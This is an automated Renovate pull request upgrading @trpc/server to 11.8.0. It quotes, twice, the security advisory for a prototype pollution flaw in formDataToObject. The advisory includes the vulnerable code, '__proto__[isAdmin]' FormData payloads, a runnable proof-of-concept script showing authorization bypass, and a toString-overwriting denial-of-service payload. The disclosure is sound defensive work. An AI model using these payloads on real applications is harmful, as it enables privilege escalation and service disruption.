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This PR contains the following updates: | Package | Change | Age | Confidence | |---|---|---|---| | [@trpc/server](https://trpc.io) ([source](https://redirect.github.com/trpc/trpc/tree/HEAD/packages/server)) | [`11.7.2` -> `11.8.0`](https://renovatebot.com/diffs/npm/@trpc%2fserver/11.7.2/11.8.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-68130](https://redirect.github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j) > Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. ## Summary A Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. ## Affected Versions - **Package:** `@trpc/server` - **Affected Versions:** >=10.27.0 - **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts` ## Vulnerability Details ### Root Cause The `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`. ### Vulnerable Code ```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; } ``` ### Attack Vector When a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData: ```typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call } ``` An attacker can craft FormData with malicious field names: ```javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin"); ``` When processed, this pollutes `Object.prototype`: ```javascript {}.isAdmin // → "true" {}.role // → "superadmin" ``` ## Proof of Concept ```bash # Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc # Step 2: Initialize npm npm init -y # Step 3: Install vulnerable tRPC npm install @​trpc/server@11.7.2 # Step 4: Create the test file ``` --- ### Test.js ```javascript const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ``` ## Impact ### Authorization Bypass (HIGH) Many applications check user permissions using property access: ```javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access } ``` After pollution, **all objects** will have `isAdmin: "true"`, bypassing authorization. ### Denial of Service (MEDIUM) Polluting commonly used property names can crash applications: ```javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail ``` --- ### tRPC has possible prototype pollution in `experimental_nextAppDirCaller` [CVE-2025-68130](https://nvd.nist.gov/vuln/detail/CVE-2025-68130) / [GHSA-43p4-m455-4f4j](https://redirect.github.com/advisories/GHSA-43p4-m455-4f4j) <details> <summary>More information</summary> #### Details > Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`. ##### Summary A Prototype Pollution vulnerability exists in `@trpc/server`'s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts. ##### Affected Versions - **Package:** `@trpc/server` - **Affected Versions:** >=10.27.0 - **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts` ##### Vulnerability Details ##### Root Cause The `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`. ##### Vulnerable Code ```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0]; if (!obj[key]) { // ← Accesses obj["__proto__"] which returns Object.prototype obj[key] = isNumberString(nextKey) ? [] : {}; } set(obj[key], newPath, value); // ← Recursively pollutes Object.prototype return; } // ... } export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[\.\[\]]/).filter(Boolean); // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"] set(obj, parts, value); } return obj; } ``` ##### Attack Vector When a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData: ```typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call } ``` An attacker can craft FormData with malicious field names: ```javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin"); ``` When processed, this pollutes `Object.prototype`: ```javascript {}.isAdmin // → "true" {}.role // → "superadmin" ``` ##### Proof of Concept ```bash ##### Step 1: Create the project directory mkdir trpc-vuln-poc cd trpc-vuln-poc ##### Step 2: Initialize npm npm init -y ##### Step 3: Install vulnerable tRPC npm install @​trpc/server@11.7.2 ##### Step 4: Create the test file ``` --- ##### Test.js ```javascript const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import'); console.log("=== PoC Prototype Pollution en tRPC ===\n"); console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin); const fd = new FormData(); fd.append("__proto__[isAdmin]", "true"); fd.append("__proto__[role]", "superadmin"); fd.append("username", "attacker"); console.log("\n[2] FormData malicioso:"); console.log(' __proto__[isAdmin] = "true"'); console.log(' __proto__[role] = "superadmin"'); console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result)); console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role); const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin); if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ``` ##### Impact ##### Authorization Bypass (HIGH) Many applications check user permissions using property access: ```javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access } ``` After pollution, **all objects** will have `isAdmin: "true"`, bypassing authorization. ##### Denial of Service (MEDIUM) Polluting commonly used property names can crash applications: ```javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail ``` #### Severity - CVSS Score: 8.5 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L` #### References - [https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j](https://redirect.github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68130](https://nvd.nist.gov/vuln/detail/CVE-2025-68130) - [https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e](https://redirect.github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e) - [https://github.com/trpc/trpc](https://redirect.github.com/trpc/trpc) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-43p4-m455-4f4j) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>trpc/trpc (@​trpc/server)</summary> ### [`v11.8.0`](https://redirect.github.com/trpc/trpc/releases/tag/v11.8.0) [Compare Source](https://redirect.github.com/trpc/trpc/compare/v11.7.2...v11.8.0) #### What's Changed - feat(server): support streaming in API Gateway REST API by [@​anatolzak](https://redirect.github.com/anatolzak) in [#​7039](https://redirect.github.com/trpc/trpc/pull/7039) </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xNzMuMSIsInVwZGF0ZWRJblZlciI6IjQxLjE3My4xIiwidGFyZ2V0QnJhbmNoIjoiZGV2ZWxvcCIsImxhYmVscyI6W119--> Co-authored-by: Renovate Bot <renovate@whitesourcesoftware.com>
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